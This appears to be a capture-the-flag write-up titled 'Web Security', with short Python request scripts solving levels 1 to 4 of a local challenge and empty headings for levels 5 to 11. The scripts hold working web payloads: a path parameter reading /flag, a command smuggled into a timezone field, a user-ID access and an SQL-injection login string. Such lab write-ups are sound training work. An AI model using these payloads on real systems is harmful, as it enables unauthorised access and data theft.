Web Security

level 1

import requests

response = requests.get("http://challenge.localhost?path=/flag")
print(response.text)

level 2

import requests

response = requests.get("http://challenge.localhost/?timezone=MST date")
print(response.text)

level 3

import requests

response = requests.get("http://challenge.localhost/?user=1")
print(response.text)

level 4

import requests

data={
	"username": 'flag" --',
	"password": 'flag'
}

response = requests.post("http://challenge.localhost/", data = data)
print(response.text)

level 5

level 6

level 7

level 8

level 9

level 10

level 11

Last updated

Was this helpful?